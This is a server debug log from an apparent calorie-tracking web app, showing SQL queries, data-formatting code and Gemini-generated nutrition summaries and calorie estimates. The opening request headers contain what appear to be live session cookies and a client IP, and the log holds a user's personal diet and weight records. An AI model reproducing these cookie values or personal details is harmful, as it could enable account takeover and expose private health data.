    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-21T07:06:26.725Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-21T07:06:26.726Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-21T07:06:26.726Z server-connect:app Executing action step identify
2025-12-21T07:06:26.726Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:26.726Z server-connect:output identity: 1
2025-12-21T07:06:26.726Z server-connect:app Executing action step restrict
2025-12-21T07:06:26.726Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:26.726Z server-connect:output restrict: undefined
2025-12-21T07:06:26.726Z server-connect:app Executing action step single
2025-12-21T07:06:26.726Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-21T07:06:26.727Z server-connect:app Executing action step identify
2025-12-21T07:06:26.727Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:26.727Z server-connect:output identity: 1
2025-12-21T07:06:26.728Z server-connect:app Executing action step restrict
2025-12-21T07:06:26.728Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T07:06:26.728Z server-connect:output restrict: undefined
2025-12-21T07:06:26.728Z server-connect:app Executing action step single
2025-12-21T07:06:26.728Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-21T07:06:26.729Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "The day's nutrition appears to be quite limited, with only one food item logged. This single item, while containing some carbohydrates and fats, is likely insufficient to support muscle development and recovery goals, especially with a consistent gym routine. The weight trend shows a general downward movement over the past two weeks, indicating some progress.",
    bad_points: [
      'Extremely low food intake for the day.',
      'Lack of protein sources to support muscle repair and growth.',
      'Potential for insufficient energy to fuel workouts and daily activities.',
      'Limited variety in food choices, impacting micronutrient intake.'
    ],
    good_points: [
      'Consistent gym attendance is a positive for muscle development and fat loss.'
    ],
    suggestions: [
      'Incorporate at least two more substantial meals throughout the day.',
      'Prioritize protein-rich foods like lean meats, poultry, fish, dairy, or legumes in each meal.',
      'Ensure adequate carbohydrate intake to replenish energy stores after workouts.',
      'Include healthy fats from sources like nuts, seeds, or avocados.',
      'Stay well-hydrated by drinking plenty of water.'
    ],
    predicted_weight: 69.7,
    predicted_weight_trend: 'Continued slow loss'
  },
  date: '2025-12-20T18:30:00.000Z'
}
2025-12-21T07:06:26.730Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-21T07:06:26.730Z server-connect:app Executing action step select
2025-12-21T07:06:26.730Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-21T07:06:26.732Z server-connect:output item_list: [
  {
    id: 473,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Aalo Matar Ghughri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving',
    replacements: 'Aalo Matar Ghughri with less oil,Steamed vegetables with a side of lean protein,Lentil soup (dal) with vegetables',
    created_at: '2025-12-20T22:31:45.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, traditional preparations can be high in oil. For muscle development, focusing on higher protein and lower fat options might be more beneficial, especially if consumed frequently. However, in moderation, it's an acceptable dish."
  },
  {
    id: 474,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 24,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 30g, typical serving size)',
    replacements: 'Casein protein (slower digestion, good for overnight),Egg white protein,Plant-based protein (pea, rice, soy - may have different amino acid profiles)',
    created_at: '2025-12-21T00:05:05.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout. High in protein and low in carbs/fat.'
  }
]
2025-12-21T07:06:26.732Z server-connect:app Executing action step setvalue
2025-12-21T07:06:26.732Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-21T07:06:26.732Z server-connect:output var_total: 370
2025-12-21T07:06:26.732Z server-connect:app Executing action step setvalue
2025-12-21T07:06:26.732Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-21T07:06:26.732Z server-connect:output var_consumed: 15
2025-12-21T07:06:26.732Z server-connect:app Executing action step setvalue
2025-12-21T07:06:26.732Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-21T07:06:26.732Z server-connect:output var_deficit: 2030
2025-12-21T07:06:26.732Z server-connect:app Executing action step custom
2025-12-21T07:06:26.732Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-21T07:06:26.734Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '370',
    surplus_or_deficit: '2030',
    status_flag: 2
  }
]
2025-12-21T07:06:26.936Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-21T07:06:26.936Z server-connect:app Executing action step identify
2025-12-21T07:06:26.936Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:26.937Z server-connect:output identity: 1
2025-12-21T07:06:26.937Z server-connect:app Executing action step restrict
2025-12-21T07:06:26.937Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T07:06:26.937Z server-connect:output restrict: undefined
2025-12-21T07:06:26.937Z server-connect:app Executing action step select
2025-12-21T07:06:26.937Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-21T07:06:26.938Z server-connect:output items_consumed_today: [
  {
    id: 473,
    item_name: 'Aalo Matar Ghughri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving'
  },
  {
    id: 474,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 24,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 30g, typical serving size)'
  }
]
2025-12-21T07:06:26.938Z server-connect:app Executing action step paged
2025-12-21T07:06:26.938Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-21T07:06:26.941Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 17,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-20T18:30:00.000Z', weight: '69.80' },
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' }
  ]
}
2025-12-21T07:06:26.941Z server-connect:app Executing action step run
2025-12-21T07:06:26.941Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-21T07:06:26.942Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 473 | Aalo Matar Ghughri | 250 | 8 | 35 | 10 | 1 serving |\n' +
  '| 474 | Whey Protein | 120 | 24 | 3 | 2 | 1 scoop (approx 30g, typical serving size) |\n' +
  '\n'
2025-12-21T07:06:26.942Z server-connect:app Executing action step run
2025-12-21T07:06:26.943Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-21T07:06:26.943Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-21T07:06:26.943Z server-connect:app Executing action step setvalue
2025-12-21T07:06:26.943Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-21T07:06:26.943Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 473 | Aalo Matar Ghughri | 250 | 8 | 35 | 10 | 1 serving |\n' +
  '| 474 | Whey Protein | 120 | 24 | 3 | 2 | 1 scoop (approx 30g, typical serving size) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-21T07:06:26.943Z server-connect:app Executing action step processWithGemini
2025-12-21T07:06:26.943Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-21T07:06:27.321Z server-connect:app Executing action step identify
2025-12-21T07:06:27.321Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:27.322Z server-connect:output identity: 1
2025-12-21T07:06:28.467Z server-connect:output health_summary: {
  summary: "The day's intake appears to be quite light, with limited food variety. While protein intake from the supplement is good, the overall meal composition might not be sufficiently supportive for muscle development and sustained energy levels. The recent weight trend shows a gradual decrease, which is positive for fat loss.",
  rating: 5,
  good_points: [
    'Included a protein supplement post-workout.',
    'Recent weight logs indicate a downward trend.'
  ],
  bad_points: [
    'Limited food variety for the day.',
    'The meal composition seems to lack sufficient nutrient density.',
    'Potential for inadequate protein from whole food sources.'
  ],
  suggestions: [
    'Incorporate more whole food sources to increase nutrient and fiber intake.',
    'Ensure a balanced distribution of protein throughout the day.',
    'Consider adding complex carbohydrates and healthy fats to meals for sustained energy.',
    'Hydrate adequately throughout the day.'
  ],
  predicted_weight_trend: 'Continued gradual loss',
  predicted_weight: 69.6
}
2025-12-21T07:06:28.467Z server-connect:app Executing action step condition
2025-12-21T07:06:28.467Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-21T07:06:28.467Z server-connect:app Executing action step delete
2025-12-21T07:06:28.467Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-21T07:06:28.469Z server-connect:output delete: { affected: 1 }
2025-12-21T07:06:28.469Z server-connect:app Executing action step insert
2025-12-21T07:06:28.469Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-21T07:06:28.470Z server-connect:output insert: { affected: 1, identity: 50 }
2025-12-21T07:06:28.470Z server-connect:output condition: undefined
2025-12-21T07:06:28.657Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-21T07:06:28.657Z server-connect:app Executing action step identify
2025-12-21T07:06:28.657Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:28.658Z server-connect:output identity: 1
2025-12-21T07:06:28.658Z server-connect:app Executing action step restrict
2025-12-21T07:06:28.658Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:28.658Z server-connect:output restrict: undefined
2025-12-21T07:06:28.658Z server-connect:app Executing action step single
2025-12-21T07:06:28.658Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-21T07:06:28.659Z server-connect:output summary: {
  summary: {
    rating: 5,
    summary: "The day's intake appears to be quite light, with limited food variety. While protein intake from the supplement is good, the overall meal composition might not be sufficiently supportive for muscle development and sustained energy levels. The recent weight trend shows a gradual decrease, which is positive for fat loss.",
    bad_points: [
      'Limited food variety for the day.',
      'The meal composition seems to lack sufficient nutrient density.',
      'Potential for inadequate protein from whole food sources.'
    ],
    good_points: [
      'Included a protein supplement post-workout.',
      'Recent weight logs indicate a downward trend.'
    ],
    suggestions: [
      'Incorporate more whole food sources to increase nutrient and fiber intake.',
      'Ensure a balanced distribution of protein throughout the day.',
      'Consider adding complex carbohydrates and healthy fats to meals for sustained energy.',
      'Hydrate adequately throughout the day.'
    ],
    predicted_weight: 69.6,
    predicted_weight_trend: 'Continued gradual loss'
  },
  date: '2025-12-20T18:30:00.000Z'
}
2025-12-21T07:06:42.800Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-21T07:06:42.800Z server-connect:app Executing action step identify
2025-12-21T07:06:42.800Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:42.801Z server-connect:output identity: 1
2025-12-21T07:06:42.801Z server-connect:app Executing action step restrict
2025-12-21T07:06:42.801Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T07:06:42.801Z server-connect:output restrict: undefined
2025-12-21T07:06:42.801Z server-connect:app Executing action step processWithGemini
2025-12-21T07:06:42.801Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-21T07:06:45.115Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Roti',
      quantity: '4',
      calories_per_item: 100,
      total_calories: 400,
      protein: 12,
      carbs: 80,
      fat: 4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of complex carbohydrates for energy, especially with whole wheat. For muscle development, whole grains are beneficial.'
    },
    {
      food_name: 'Baingan Sabji',
      quantity: '1 serving (approx 150g)',
      calories_per_item: 150,
      total_calories: 150,
      protein: 3,
      carbs: 15,
      fat: 10,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Eggplant is a good source of fiber and nutrients. The calorie content depends heavily on the oil used. If prepared with minimal oil, it's a healthy addition."
    }
  ],
  total_macros: {
    protein: { value: 15, unit: 'g' },
    carbs: { value: 95, unit: 'g' },
    fat: { value: 14, unit: 'g' },
    total_calories: { value: 550, unit: 'kcal' }
  }
}
2025-12-21T07:06:48.393Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-21T07:06:48.393Z server-connect:app Executing action step identify
2025-12-21T07:06:48.394Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:48.394Z server-connect:output identity: 1
2025-12-21T07:06:48.394Z server-connect:app Executing action step restrict
2025-12-21T07:06:48.394Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T07:06:48.394Z server-connect:output restrict: undefined
2025-12-21T07:06:48.394Z server-connect:app Executing action step condition
2025-12-21T07:06:48.394Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-21T07:06:48.394Z server-connect:app Executing action step repeat
2025-12-21T07:06:48.394Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-21T07:06:48.395Z server-connect:app Executing action step insert
2025-12-21T07:06:48.395Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-21T07:06:48.396Z server-connect:output calories: { affected: 1, identity: 475 }
2025-12-21T07:06:48.396Z server-connect:app Executing action step insert
2025-12-21T07:06:48.396Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-21T07:06:48.398Z server-connect:output calories: { affected: 1, identity: 476 }
2025-12-21T07:06:48.398Z server-connect:output repeat: [ {}, {} ]
2025-12-21T07:06:48.398Z server-connect:output condition: undefined
